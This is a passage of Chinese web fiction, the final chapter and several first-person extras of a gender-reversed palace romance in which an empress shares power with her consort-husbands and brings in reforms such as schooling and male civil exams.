温阳泽:“自幼体弱。” 郭嘉安:“志不在此!” 庄与之:“身份尊贵!” 李宣:“不甘人夫!” 傅逸春:“主父不管,小父无钱。” 西门眙嘴角微抽,尚未来得及控诉,就听庄与之不满道:“你凭什么八个字?” 傅逸春淡然回他:“因为四个字不足以概括。” 庄与之翻了个白眼:“还诗仙呢?连家贫人丑都想不起来。” 傅逸春挑了挑眉:“丑?”他下意识看向裴源:“臣丑嘛?” 裴源想了想:“丑的,进不了后宫。” 傅逸春满意的点了点头,看向庄与之一脸挑衅。 庄与之正要讥讽两句,竟隐隐听到了抽泣声,竟是西门眙泪眼婆娑,一脸委屈:“那这绵延子嗣的重任,岂不都要落在臣一人肩上?” 众人:“……” 裴源忙招手唤他过来,轻抚他的后脊安抚道:“不至于、不至于。” 西门眙哭声一顿,眨着泪眼反问:“陛下要选秀,充盈后宫?” 裴源赶忙摇头:“你们七个足矣。” 西门眙一顿,‘哇’的一下哭的更大声:“那臣还是唯一的那个!” 裴源苦笑不得,忙扶着他坐下安抚:“乖乖,你是神子,神子高坐登仙台,替万民祈福即可,生孩子这种凡尘俗事,用不着你。” 西门眙愣怔片刻:“不用臣?那臣如何能够拥有自己的血脉?” 裴源拍着他的手道:“你还小,朕也还小,此事,再行商议。” 西门眙默了默,不情不愿道:“好吧。” 众人不禁失笑,见安抚住了西门眙,温阳泽才问:“陛下想做被妖精抓走的爷爷?” 裴源微微点头,语气坚定:“于朕而言,凤帝之 位,不过一职。但此职于朕,并无甚欢喜。相较之下,诸位皆怀壮志,若仅困于后宫,实为憾事。朕思之再三,意欲开放科举,允男子入仕。如此,诸位皆可名正言顺为朕分忧,共理国事。” 诸君皆是神色一凝,惊愕的目光里带着几分期待。 裴源继续说道:“无论男尊女卑,抑或女尊男卑,究其本质,皆为压迫。而压迫若至极点,必生反噬。生育之苦,男子代劳,朕心慰,也支持。但骤然提及男子入仕,瓜分女权,必遭群臣抵制。朕身为女子,亦为女尊得利者,自不愿见女权受男权挤压。” 诸君沉默,静候她的下文。 裴源稍作停顿,目光掠过众人,道:“故而,朕意在循序渐进,徐徐图之。在确保女子利益不受损的前提下,赋予男子一定的社会地位,例如,可将入仕定位为边缘化职业,故而男子科举,又名君科。其适用范围如下:” 裴源逐一审视诸君,接着说道:“其一,推行全民义务教育。各县设立义务幼儿园,孩童三岁入学,五岁结业,幼师一律由男子担任,如此既能减轻男子育儿负担,又能增加家庭劳动力,同时也为男子提供了就业机会。此外,增设义务启蒙院,教授识字与算数,招收五至八岁孩童,不分男女,实现全民教育,教师男女各半。借此潜移默化地向孩童传递男子亦可受人尊崇的理念。” 裴源说到此处,看向傅逸春:“幼儿园与启蒙院所用教材,由傅爱君负责编撰,同时,朕希望每年能评定一定数量的优秀教师代表,予以奖励,若需人力,你自行甄选。以上所用资财,皆由朝廷承担。” 傅逸春立刻起身,拱手道:“臣定当竭尽全力,不负陛下所托。” 裴源微微颔首,续道:“其二,凤鸣卫更名为凤察司,各郡县皆设衙署,此署衙依旧为朕之私司,专责监察百官、各地乡绅及不公之事,以公平公正为首要准则,不叨扰各地衙署秩序为辅则。凤察司长史,由宸贵君继任,未来必将扩充人手,由宸贵君全权负责。” 郭嘉安眸色微沉,起身拱手道:“臣遵命。” 裴源转头看向李萱:“其三,若非承担生女之责,男子本应体健于女子。然,我朝男子,幼时服下育籽未成者大有人在,这些人被视作不祥,终身只能藏于内宅,或被囚禁庙宇,一来不公,二来浪费人力。朕今日授意李卿君为郎子军大帅,各地统招有志之男子入营入伍,为国效力。” 李萱利落起身,朗声道:“臣领命。” 裴源又转头看向庄与之:“第四,齐翁与之乱党虽已尽除,然,新的风波必将再起。皇舅素有‘千里眼顺风耳’之称,朕希望大皇子府能将手眼藏于京城大小官邸府衙,替朕查探大小官员。此事,朕已和皇舅有过商讨,他欲培养你为他的接班人,但不知德君是否愿意替朕效力?” 庄与之凤眸微挑,道:“勉为其难。” 裴源微微一笑,这才看向君后与凰贵君:“以上诸君事务,就要劳烦二位替朕主持张罗。” 二君正要起身领命,却听裴源继续道:“另外……若二位不嫌辛苦,朕欲在宣政殿后,增设两个听政席。一来,二位可第一时间洞察朝局;二来,也可时时指点朕之疏漏;三来,朕若身子不适,也不至于群臣无首。不知二位意下如何?” 二君同时一怔,温阳泽眸色微深,缓缓道:“如此,必遭群臣反对。” 陆长行亦道:“前朝刚刚安宁,陛下又提及男子入仕新政,群臣恐有微词。此时,若臣与凰贵君再行听政之举,臣担心朝堂不安,对陛下恐有微词。” 裴源摇头:“朕意已决,诸臣不满朕亦有考量,此事行时可先隐蔽而为。新政要徐徐图之,男卑境地,亦要慢慢改变,我们要做的,是将一切交给时间。” 她再次看向诸君:“或许朕的想法有些天真,甚至会遭人诟病是朕为一代色令智昏的昏帝,被群臣万民唾弃。但朕不在意,你们也不必在意。于家而言,朕为妻,尔等为夫;于国而言,朕为帝,尔等为辅。朕唯愿尔等与朕一心,那么,家之安宁便是国之安宁。” 诸君静默片刻,后齐齐起身跪:“陛下乃吾等之妻之主,吾等愿一生追随陛下,护陛下周全,至死不渝,永生不负陛下。” 裴源抬手示意诸君起身,西门眙打破沉默:“陛下,那臣呢?” 裴源:“你是六娃。” 西门眙愣了愣,旋即‘哇’的一声哭的撕心裂肺:“开枝散叶的是臣,隐身的还是臣,臣不服!” 众人皆是一怔,旋即噗笑出声。 是以,西门眙得了一个自由人的身份,从此,无论哪个衙署,都有神子的影子…… 正文完。 第86章 第86章番外 我是陆长行。 再次看到柳玉书时,男子一身狼狈,隔着牢房的栏杆看到我的身影,他一改记忆中的温和,疯了一样对我吐起了口水。 我看的出他在装萌卖傻,故而一抬手,身后跟着的男子怯怯不安的被侍卫推上前来。 狱中光线阴暗,男子静静端看良久,才不可置信的开口:“书哥?真的是你。” 柳玉书全身一震,一只眼眸隔着凌乱的发直直落在来人身上,几息静默,他撩开额前垂落的发,嘴唇翕动着,不知是激动还是震惊,竟一个字都未说出口。 来人更加确定了他的身份,抓着栏杆哽咽喊道:“书哥,我是阿韵啊。” 柳玉书这才猛地冲到他的面前,他想去碰触他的脸颊,却察觉自己双手污秽,于是将手在身上蹭了蹭,方才颤抖道:“你还活着……你还活着?” 王韵疯狂点头:“五……陛下虽伤了我,不过是在做戏,事后,命人在乱葬岗接应,不但替我治了伤,还给了我新的身份和银钱。” 他言此,紧紧握着柳玉书的手:“我安定下来便给你写了告知了你……” 柳玉书一怔:“写信?” “是,你还差人回我,说你有大事要做,命我不要再行打扰。我那时以为你是嫌我累赘。今日方知,书哥恐未曾收到过那封信。”王韵言此泣不成声:“都怪我……都怪我……若我能回京当面告知,你也不必造成今日之祸?” 柳玉书愣在原地。 他本唤王书,父母皆是农户,有年疫病肆虐,王家便只剩下王书与王韵二子相依为命。 天灾之年,两个儿郎举步维艰。 为了生活,两人一道入了教坊司,坊主似察觉到王书的育籽未在丹田生根,便设计将他倒卖去了苗翎谷。 再后来,他被齐翁的人带入京城,却不想,竟在京城遇到了弟弟王韵,本以为兄弟自此重逢,却不料王韵只是前往五王卿的府邸跳了支舞,从此,天人永隔。 柳玉书因此记恨裴源,于是在齐翁的人悉心教导下,有了新的身份,成为了柳文澜的小儿子。 初次见到裴源,是在柳府举办的一场赏花宴上,亦是弟弟王韵身死一年的忌日,他亲自将自己培育的母子蛊,种进了她的身上。 他那时以为自己是在报仇,而今方知,大错特错。 兄弟二人的相聚很快结束,失魂落魄的柳玉书终于想起了我的存在。 他抬眸 看我:“陛下愈如何处罚我?千刀万剐,还是五马分尸?” 我冷道:“她说你是个可怜人,想要留你一命。” 柳玉书不可置信的看着我。 我道:“但本宫觉得那样太便宜你了。” 我取出一个锦盒扔在了他的手边:“吞下它。” 柳与书似预料到锦盒之物,他颤颤将锦盒掀开,虫子正在锦盒蠕动。 我又道:“以后每月初一十五发作,自己亲自感受一下她所受之苦,方知什么叫生不如死!” 我拂袖而去,不过须臾,便听到柳玉书的惨叫声在地牢响彻。 地牢门口,陛下似等了我良久,衣着单薄的她立在风口,任风吹乱她的衣裙。 我忙从乌宛白的手里接过披风,阿源愣愣回神,眸子里的落寞却未来得及收起。 她低语:“朕自问待她不薄。” 我一时心怀有亏:“陛下……” 一年前,我因心软,放了与狂娘私通的齐常侍出宫去往玉镇。 齐常侍自幼锦衣玉食,入宫后也是衣来伸手饭来张口,在玉镇安家不过数月,便花光了我给他准备的银两,正愁无米下饭时,恰逢玉镇发生了一场命案,刑部前往探查,齐常侍远远看到了周韵,他方知,原来深得陛下宠爱的韵侧君,竟是女子之身。 齐常侍将消息外传。 百姓以为他是疯子犯了癔症,可有心之人,自然会彻查。消息传入了京城后,周韵的书案上竟真收到了一封不知名的来信。 这便是周韵叛变的因由。 可阿源闻言摇头:“与你无关,与齐常侍亦无关,有些人的背叛,原本就没有理由。” 我不知周韵与阿源说了什么,只知回宫后,阿源将自己关在了紫宸殿。 阿源体内的毒素虽已祛除,然毒素入体,仍需精心调养。她强撑着上了半月早朝,最终还是晕倒在凤椅之上。我忧心如焚,竟一时冲动从后侧的听政席冲进了宣政殿,后君听政之事就此曝光。 群臣一面忧心阿源的身体,一面又急切地想向阿源谏言,力阻后宫干政。 却不料,阿源此番晕厥,竟是数日之久。待其醒转,第一时间向群臣恳切致歉,坦然自己体弱不适,需静养月余。但朝政不可一日无主,遂建议由我与凰贵君暂代听政,日日向她禀报国情。 她郑重言明,若二君有越俎代庖之举,她绝难容忍。她恳请群臣念在她体弱多病的份上,给予我与凰贵君一个代劳的机会。 群臣沉默。 阿源见状,敛去眉间波澜,淡淡又道:“既诸位爱卿意难平,朕亦不再强求,明日,朕会参与朝政。” 此言一出,满堂皆静,诸臣面面相觑,无人再敢接话。须臾,新任中书舍人的曾芩燕轻咳一声,试探着开口:“陛下为一国之君,若因疾而久疏朝政,于国于民,皆非吉兆。圣体乃国之根本,陛下安,则天下安,区区数月,臣等虽忧心忡忡,但若能换陛下圣安,等等又有何妨?” 诸臣权衡之下,终是勉强点头,不过,每三日阿源必要亲临朝政一日。如此,既安群臣之心,也不至于让后君萌生出僭越的心思。 阿源欣然同意。 于是,我与凰贵君听政的第一日朝会初散,就听闻阿源在幽澜湖垂钓,我与凰贵君寻到她时,阿源面色红润,精神饱满,哪里像重疾缠身的模样? 似见我与温阳泽神色不虞,她微微一笑,将身上的披风扯开了个缝隙,一只雪白的奶猫缓缓探出头来。 “养猫,垂钓,乃朕期盼良久的美好生活。”她眨眨眼:“两位爱君不替朕开心吗?” 温阳泽似不赞同,却也并未多言什么;我对权势并不贪恋,只是阿源躲懒,我便想替她分担一些。 转眼又是一年春,终于迎来了首届君科,参与科举的儿郎比我想象中人数要多,只是人才少的可怜,毕竟我朝男子读书识字者,少之又少。所以到了选人环节,傅逸春与郭嘉安争论不休,日日都要跑到阿源面前,让她主持公道。 阿源不胜其扰,于是,将我推到二人之前,自己选择闭关。 出关那日,她言说自己写了本书,我欲询问她书名,她只会含糊其辞,视线闪躲。 很快,一本名为《一女八夫,笑拥美男昏庸无度》横空出世。 起初,我并不知情,还是李萱提着长戟怒气冲冲的前往紫宸殿讨要说法,我才知晓,我与其他六位后君,皆成了那本不忍直视读物中的配角。 面对我与诸君的讨伐,阿源直接抱着猫藏在了帷幔里,委屈道:“朕也不想的。可义务教育,学堂要钱、书本要钱、人力还要钱!如此花费下去,朕又不会挣钱,只能如此了。” 她言此,头从帷幔里探出来:“朕承认,这书是朕拿诸位做范本所写,但百姓不知啊。何况,朕是主角,朕的损失比你们大多了好吗?” 李宣脸色涨红:“一派胡言,强词夺理,不知廉耻,岂有此理!” 郭嘉安亦怒:“一本书,全无剧情!皆是昏庸!陛下,你还要脸不要?” 两人样子太过凶悍,吓的阿源又躲回了帷幔里:“写都写了,还赚了不少,你们若实在生气,大不了朕分你们一点点银子好了。” 我与诸君愤怒离去,聚在我宫里讨伐阿源时,凰贵君已红着脸草草读完了整本,最后,淡然开口:“陛下是在暗示我等,替她再选一个会赚钱的后君。” 我心头一跳,颇有些不是滋味。 李宣碰的一声,差点要将我宫里的杯子拍碎:“堂堂一国之君,整日只想着钓鱼养猫,一点正事不做,皆分摊给后宫?这天下到底是她的天下,还是我等的天下!” 彼时,傅逸春淡定自若的饮了口茶:“妻主虽无为,至少不添乱。何况嫁都嫁了,还能和离不成?” 我:“……” 诸君被他这句话冲击的不行,仔细思量片刻,竟觉得十分在理。于是纷纷端起茶盏,平复了一下心情。 庄与之道:“若论生意头脑,南边人更胜一筹。” 西门眙轻叹一声:“还说再不纳新君了,哼!骗子!” 说完,取出龟壳当众摇了一卦:“让臣看看,陛下的新宠在哪里?” 我:“……” 一个月后,江南一涉嫌谋害妻主,被浸猪笼的鳏夫明旗,被凤察司从河中救下,并以南陵都护义子的身份被送入宫中,陛下喜爱至极,册封为卿君,接连宠幸数月。 这期间,南市突起一明氏商行,很快独占鳌头。 这日,我依照惯例期望紫宸殿为阿源请平安脉,可手才搭在她的腕上,就被阿源扯上了榻,见她要亲我,我偏头躲开,一脸不悦:“哄了这个哄那个,陛下的一天当真是忙啊。” 阿源咯咯笑着,搂着我的脖子道:“爱君很多,但哥哥只有一个。” 我心里被她哄的欢喜,嘴上依旧不悦:“关起门来,谁又知道你有几个哥哥?” “天地良心,朕只有一个好哥哥。” 似见我不信,阿源眨眨眼:“真的,骗你是小狗。” 我轻哼一声,勉强信了她的鬼话,任她将我扑倒,又是一夜沉沦。 第87章 第87章番外 我是温阳泽。 生辰那日,有人闹事,长随全部被遣走。 这时,喝醉的柳州刺史之女,误闯我的宅院,还扑倒了我的身上,然后,她便借着酒劲对我上下齐手,还紧紧捂着我的嘴,意欲明显。 想我堂堂太尉之孙,虽自幼体弱,可若没点保命的手段,岂不污了祖母的名声? 可正当我准备反抗时,余光瞥见一衣衫褴褛的女子手持石块缓缓逼近,我一时觉得有趣,便收了杀招,很快,那块石头精准砸击到了柳州刺史之女的头上。 看着晕死的狂娘,我惊慌失措的向来人言谢,因为我料定此人便是那个想要坐 收渔利的渔翁。 可让我没想到的是,女子只是微微颔首:“宴会客多,公子体弱,还是不要独处的好。” 我怯怯点头:“多谢恩娘。” 女子轻嗯一声,俯下身就将晕死的狂娘抗了起来:“为了公子的声誉,此人我便带走了。” 说完,转身就要离去。 我愣了半晌,这渔翁不是该借机向我嘘寒问暖?引起我的好感吗?转身走了,目的为何? 于是我开口:“此人对我不敬,意图不轨,可见是恶劣至极之人,娘子带走她,岂非放虎归山?” 她前行的步伐顿了顿,继而转身看我。 我接着道:“万一她离开温府,出去胡说八道,我要如何自处?” 她默了默,反问:“你想如何?” 我道:“我堂堂太尉之孙,岂能容此狂娘轻薄?祖母若是知晓,定不容她!”我话音一顿,看着她一字一顿:“我亦不容!” 女子沉吟片刻,蹙眉道:“公子的杀心未免重了些,她是有罪,但罪不至死。” 我冷笑,这两人果然是一伙的,故而又道:“今日她只是轻薄我未遂,但若她成功了呢?我一介失了清白的儿郎,岂非成了全柳州的笑柄?祖母的颜面又该至于何地?我已失身,自也只能委身于她。可她并非良配,不过是想要我祖母的人脉与资源,若祖母依她,任由她这般卑劣之人手握权柄,将来必是作奸犯科之徒,来日为了利益,又会剥夺多少人的性命?” 她听的愣怔了片刻:“公子所言,倒也有几分道理。” 说着,直接将人从肩上扔落在地,淡淡道:“那便杀了吧。” 我:“……” 狂娘早已苏醒,听到此处,直接从地上爬起:“你们敢!我可是柳州刺史……” 她的话未尽,头上又挨了一记重锤,双眼一翻,再度晕死过去。 女子将手里的石头扔在了我的脚边:“公子自便。”说完,转身就走。 我微微蹙眉,尚未来得及开口,祖母已小跑过来,一脸夸张道:“我当后院为何金光闪耀,原来是五王卿登门,当真令我温府蓬荜生辉啊。” 五王卿,昭睿王? 我马上想起了陛下的皇五女,她不是几个月前死在了漠莽人的手里? 只见那女子顿在原地,几息后反回身对祖母行了个晚辈礼:“两年不见,不知温老太尉身子可安?” 祖母忙扶起她,一脸笑颜:“安、安、安,十分的安,”她打量着裴源的装扮:“王卿为何这副打扮?体验民生?” 裴源面无表情:“西境一役,死伤无数,我为罪魁祸首,此事想必举国皆知。罪人尔,不值得太尉费心安慰。今日温府事忙,我不便打扰,告辞。” 她去意决然,祖母不便挽留,只待她离开后长叹一声,喃喃自语:“陛下,非老臣不为,只是王卿心如死灰,不能图矣,可惜啊。” 她一面说着,一面偷偷打量我的神色。我焉能不知她的盘算?想必今日这登徒狂娘能找到我的宅院,都是她老人家的授意。 我冷声不语,祖母嘿嘿一笑,上前道:“这五王卿可是众皇女中,模样最出挑的,泽儿当真不喜?” 我冷哼:“逃兵一个,有何可喜?” 祖母也不强求:“不喜欢便算了,随她去吧。去它蛋的陛下旨意,陛下最器重的皇女,都不及我的宝贝乖孙~” 最器重的皇女? 我听在耳中,心里亦有了衡量。 那是我与裴源的初见。 我与裴源一样,出自母胎生育。 母亲不知她身怀有孕,孕期未曾仔细将养,不但上阵杀敌,饮酒寻欢,眼见肚子越来越大,还以为自己得了奇症,军医也是昏庸之辈,开了很多药方,待发现时,为时已晚。 母亲难产而亡,我亦因那些药物,导致从出生起便体弱体虚,祖母虽痛失爱女,但却对我百般呵护,她不盼我觅得良妻,只想让我肆意而活。 只是不嫁人而已,算什么肆意?我想有一番作为,立在朝堂之上,但我知道,这些不过幻想。 却不想,幻想也有成真的一日。 得她支持,我与陆长行初次名正言顺参与朝政那日,我莫名觉得全身血液沸腾。 散朝后,我在幽澜湖看到垂钓的裴源,她一脸恬静自若,全无权力外放的担忧,皆是获得自由的惬意。方知前些时日晕倒在宣政殿,不过是她故意为之。为得就是让我与陆长行听政之举,展露人前,并顺势推举我二人立于朝堂之上。 见我面色不善,她趁着陆长行离开之际,歪头看我:“心愿既已达成,为何瞧着不开心?” 我并非不开心,只是觉得她此举颇为任性,欠缺考量。 我道:“陛下不该如此胡闹。” 她轻抬眼眸,唇角微扬,笑意不经意间溢出:“不依祖制便是胡闹?依循祖制便是正道?祖制亦是先辈所定,新朝当有新气象。朕有新思量,自当添上几笔新章。如今这凤位,朕便设为股份制,朕为董事,你们皆为股东。权柄分作多股,朕握大股,你与君后合起来,恰与朕相衡。如此,二位可并肩上朝,代朕听政。这般一来,朕也能稍得清闲,你们亦能施展抱负,岂非两全其美?” 我听得一头雾水:“股份制?” 裴源耐心讲解,我才明白各种原理。她将凤帝的权利多分,并在心里标上占比,依次分给了她、后君以及一些亲王。 我不解:“那为何大臣没有股份?” 她道:“因为朕是按照家族股份制划分,只有朕的家人享受股份权利,而你与君后是朕最信任之人,所以权柄重些。” 她信任陆长行是在意料之中,只是我嘛?我与她婚姻本就是利益结合。 “陛下就这么信任臣?就不担心臣揽权谋逆?” 她笑笑:“你心有丘壑,朕与其时时提防你,不妨利用你。”她转头又看我,语气颇为郑重:“若你有一日想要背叛朕,只是你想为,手中的权柄不过是催化剂而已,人心易变,自古皆然,朕是凡人,无力相抵,届时,你我兵戎相见便是。” 我看着她的眉眼,分明平静如水,可凤眸眼底,暗藏波澜。我详装不见,再次试探:“若那日,臣赢了,陛下要如何自处?” 她噗的笑出了声:“输了自刎,赢了写史书,将你臭骂一顿。” 我却没笑,沉吟片刻,起身跪到她的面前:“臣深感陛下信任之重,感激涕零。定当竭尽全力,为陛下分忧解难,忠心耿耿,永不背离。” 她居高凝我,漫长的注视后,纤纤玉指轻抚着我的眉眼,后缓缓下移,挑起我的下颚:“君身愈后,肤丰肉润,竟也风姿绰约,玉树临风。” 我虽心起波澜,但面上不显:“陛下唯爱君后,臣不敢肖想。” 她:“朕是帝王,怎么可能独爱一人,况且凰贵君聪慧无双,朕敬仰,亦向往,不喜爱才奇怪。” 我不知她在试探什么,故而不知如何作答,只是目光定定看她。 她似被我盯的发毛,下巴上的手下沉,拉着我的手臂托举我起身。而后讪讪道:“朕深爱陆长行不假,可待你们的心也都是一样的,信任是真,利用是真,喜爱也是真,但有些事朕做不来,心里接受不了。朕自觉亏欠,唯以重任偿还尔等相伴之情。 君可明白?” 我面无表情:“陛下平日里,就是这么哄宸贵君的?” 似被我戳破了心事,裴源尴尬一笑,眼珠子转了半天:“啧,你果然不喜欢朕。”于是,她凑上前小声问我:“所以,你和李萱,是真的啦?” 我:“……” 见我不语,她全当成了默认,而后啧啧将我打量一番:“那你们万万节制一些,他一看就不知轻重,你这身子骨,可禁不住他那大身板子。” 我:“…………” 于是那日才一回宫,乌宛白便带着大量补品登了门。 乌宛白还道:“陛下有句话让奴婢转告凰贵君:今日之事,万不能被李卿君知晓,否则,那小子必来和她拼命。” 我:“……” 有时候真的很想打人。 多年后。 有日夕阳向晚,我与裴源坐在廊下看着绵绵雨幕,忽而心有所感:“若有来世,陛下可想与臣做一次真正的夫妻?” 裴源凝着雨幕的双眼缓缓闭上,不一会儿,我便听到了她绵长的呼吸…… 第88章 第88章番外 我是乌宛白。 入东宫为婢初,我因胆小怯懦,时常遭人欺负,饿的头晕眼花,有日奉茶时手抖,茶盏洒在了贵客的身上,太女盛怒,命人将我拖出去乱棍打死。 棍棒重重砸在我的身上,不过几下,我便疼的发不出声响,晕死前,恍惚听到五帝姬言:“再打下去血流成河实在晦气,扔到乱葬岗任其自生自灭吧。” 醒来时,我趴在一个陌生之地,空间逼仄,我恍惚以为,那便是地府,直至后背的痛意牵引,我才意料到,自己可能遇到了贵人。 却不想,那贵人竟是五帝姬。 帝姬见我欲起身,忙摁住我的肩头,坐在床侧小心替我上着药:“这是我在校场的身舍,你安心住下,其他的无需担忧。” 我心中惴惴不安,奈何身子无一丝力气,只能留下养伤。 身舍地方狭小,仅有一张床榻,每每夜晚,帝姬便寻来木板,临时搭建了一张小床,替我换了药后,挨着我躺下。 似是操练疲累,也似话少,帝姬每每躺下便会睡着,翌日晨起,身侧早没了她的身影,可她临走时,总会嘱咐其他人对我多加关照。 那段时日,是我为奴为婢后,第一次被当成人看。 一个月后,我后背的伤口大好,便将帝姬的身舍仔仔细细收拾妥当,还将她换下的脏衣盥洗,帝姬散值后,看着焕然一新的身舍愣了一下,对我道:“死过一次,便是重生了,你已自由,回家去吧。” 可我已经没有家了。 父母早逝,我被姨母以十两银子的价格买入皇宫为奴,早已受过宫刑,此生再算不得一个完整女人,离开宫廷,我不知要去哪里。 我跪地哭求,帝姬静默听完,不解问我:“女子怎么受宫刑?” 我泣不成声,如实道:“锤击胸腹,至器官受损。” 帝姬眉头紧蹙:“实在残忍。”她沉默良久,无奈轻叹:“既无归处,便留在校场照顾我吧。” 那之后,我便留在了校场,事务不多,帝姬也从不将我当成奴婢看,相反,时常拉着我一同操练,一同用饭,教我读书写字,夜间谈心。 偶尔带我外出,也总是与我姐妹相称,我心中生出暖意,却严格恪守自己的本分。 转眼到了帝姬封为王卿的日子,她有了自己的府邸,我便顺理成章的成为了她府邸的管事。 我以为,自那之后,王卿会迎来崭新的人生,却不料,自此之后,她的生活如同坠入深渊,再看不到一线光明。 转眼,先帝年迈,有日召她入宫。 先帝身侧的宫人将一份奏折递到她的手里。 那奏折泛黄,一看就很有年头。王卿打开瞧了瞧。 先帝道:“字迹工整规范,一丝不苟,完全不像五岁孩子所书,倒像个大人所写。同朕说说,如何做到的?” 王卿道:“儿臣是母皇亲生,生下来就继承母皇的一些能力,也不足为奇。” 我愣在原地,几息后,背脊陡然生出冷汗。 果不然,凝辉殿内,死寂如渊,我清晰的感受到空气凝结,寒意凛然。 良久,先帝冷道:“朕将当日知晓此事者都杀了,你是如何知晓的?” 王卿静静回道:“母皇忘了,爹爹亦是知情者之一。” 先帝再次沉默。 王卿敛去眉目间所有情绪,徐徐从方台而下,长身跪地:“儿臣早慧,半岁前发生的所有事至今记忆犹新。爹爹雅好诗书,儿臣常侍其侧,耳濡目染,便识得些字句。爹爹薨后,淑君疏于管教,儿臣便常去文渊阁打发光阴。儿臣自幼以为,天下孩童皆若我般,母皇,这并非儿臣之过。” 先帝凝她良久,终是冷哼一声:“你就是个孽障!”她默了默:“跟你那个死去的爹,一个样!” 王卿颔首静默良久,终是低语:“儿臣不明白,母皇分明深爱爹爹,为何任由爹爹遭人侮辱多年,都未替他正名。” 先帝深陷情绪许久,才回:“那是朕与他的恩怨,无需向你告知。” 王卿默了默:“好吧。” 先帝:“……滚吧!” 王卿走了,我却被留在了凝辉殿,我有些害怕先帝会将我灭口,毕竟听到了先帝的秘密。事实是,我想多了,先帝命人为我化了妆,改头换面后,让我穿着低阶宫女的服饰,跟在她身边的尚宫学习殿前礼仪与规矩。 那时我方知,王卿已是既定的凤位继承者。 陛下登基后,第一道旨意便是取消了宫女的宫刑,只命新入宫的宫女服食了避免有孕的药物,过程温和,自此,再无入宫的女子因宫刑身死。 她从不是嗜血残暴的帝王,但凤位之下,白骨累累,终是陛下之殇。 第三年的惊蛰,她不堪压力,晕死过去。那三日,我与君后彻夜难眠,却不料,陛下醒来后,性情大变。 有时我竟有些恍惚,仿佛时间又回到了我在校场与她相伴的日子。甚至希望她再也不要想起那些不开心的过往。 后来,君后离宫,陛下终日郁郁,冬日里,她坐下廊下赏月,宸贵君得闻消息,提着两壶酒前来相陪。 酒意正浓,宸贵君微微俯身,却在触及陛下唇瓣前,闻得陛下之言:“若朕今夜宠幸了你,尝过甜头,往后,朕亦会贪恋他人。毕竟,放纵之事,一旦沾染,便如瘾君子般难以自拔。朕非贞洁烈女,尤其你们皆是人中龙凤,各有千秋。” 宸贵君身形一顿,僵在原地。 陛下又道:“此事上,朕不吃亏。为求公平,朕自会依次施恩于尔等。起初,或许尚能和谐共处,可日子久了,帝恩难保均等。到那时,你们必会为争宠而勾心斗角,相互算计,迷失本心。沦为后宅争宠的俗人,与寻常男子无异。” 陛下目光落在他身上,徐徐说道:“朕的宸贵君,生得这般俊美,朕早有将你纳入怀中的心思。你若想好了,朕今晚便与你行夫妻之实。” 宸贵君身子一颤,眼中满是不甘,涩声问道:“臣与君后,究竟差在哪里?陛下为何独对他情有独钟?” 陛下眉目间淡然之色愈浓,轻声道:“你错了。朕的心,是一片广袤原野,你们皆有立足之地,不分轩轾。之所以未曾迈出那一步,一则,是朕不愿沉溺放纵之欲;二则,朕不忍见你们因些许宠幸便相互倾轧,迷失本心。倘若如此,爱慕之情终将沦为怨毒之咒。朕本该是你们心中美好的存在,最后却沦为不堪托付的好色之徒。与其如此,朕宁愿成为你们心中高不可攀、遥不可及的神像。” 宸贵君狼狈逃离。 陛下目送他的远去,再次席地而坐,独饮尽了剩下的酒。 那晚陛下睡了一个好觉,翌日东方日出,她早早去往了揽月阁,我不知她如何哄回了宸贵君的心,只知那日之后,两人相处的样子又恢复了从前,仿佛那夜之事,不过梦境一场。 齐翁等罪臣身死后,陛下曾问我:“总为尚宫难有出路,去翰林做个直阁如何?凭你之才,很快就能跻身学士之位。” 我扑通跪地:“奴婢哪也不去,也不想入仕为官,只想一辈子侍奉陛下。” 陛下俯下身蹲在我面前,打量着我的眉眼:“是人都想人上人,怎会有人想一辈子伺候人?” 我直言道:“奴婢胸无大志,唯愿侍奉陛下左右。” 她眨眨眼:“你认真的?” 我点头:“奴婢不敢欺瞒陛下。” 她微微蹙眉:“不理解,随你 吧。” 我喜不自胜,叩首道:“奴婢谢陛下成全。” 君后与凰贵君听政后,分担了陛下一大半的政务,她自此惬意起来,时不时带我偷跑出宫,有时在酒肆醉的不省人事,有时沉溺在倌郎的舞蹈里忘了时辰,但总能被德君精准探寻动向。 所以,她不是被宸贵君拎着后衣领回宫廷;便是被李卿君拿长戟追着逃出酒肆;偶尔,也会被君后或凰贵君堵在倌馆…… 于是,诸君隔三差五的讨伐她毫无帝王威严,不成体统。她会紧闭宫门,自省上三五日,再次偷溜出宫。 她会在酒后与我谈心:“不是朕纵容后君,而是因为他们,朕才得以如此肆意。” 后来。 颇具经商头脑的明卿君入宫,短短几年,明氏商行便在南市打下了半壁江山。陛下自此换了乐趣,每日都跑去内库,看着金灿灿的金锭傻乐。 明卿君也是个可怜人,嫁了个妻主贪酒好色,动辄对他打骂,害他全无半分夫郎体面。家中长辈撒手人寰,家底被妻主挥霍一空,他迫不得已抛头露面,重振商行。奈何妻主非但不感恩,反而变本加厉,任由小侍欺辱,让他这个正夫郎竟受尽委屈。 一次醉酒,妻主输光银两,向他索要巨财再行豪赌,遭他拒绝后,妻主便对明卿君拳脚相加。明卿君仓皇逃跑,妻主紧追不舍,却不慎摔倒,头撞石头,一命呜呼。宗族为夺家财,陷害明卿君谋害妻主,害他沦落到被浸猪笼的下场。 所以被救后入宫之初,明卿君胆小怯懦,陛下声音稍大,他便瑟瑟发抖。谁料,入宫不过两年,竟被陛下纵得无法无天。 甚至允他重归旧地,大肆报复了那些曾经欺辱他的众人。 那时,朝局已经安定,至少看起来风平浪静,陛下举办的义务教育,全民受益,百姓无不歌颂她的美德,坐实了她为仙子下凡的身份,自此,万民拥护。 但这些在陛下眼里,却都不及君后的小意温柔。 某日,君后又因吃醋泪盈于睫,吓的陛下六神无主,抱着他语无伦次:“我求你了祖宗,能不能换一招?你一落泪,我这心都碎了。” 恰逢淑君与傅卿君回宫,隔着窗瞥见这一幕,傅卿君一番白眼:“君后耍她,跟耍狗一样。” 淑君抿着唇重重点头:“话糙,理不糙。” 我:“……” 我求你了陛下,能不能有点出息? 全文完。【你现在阅读的是 】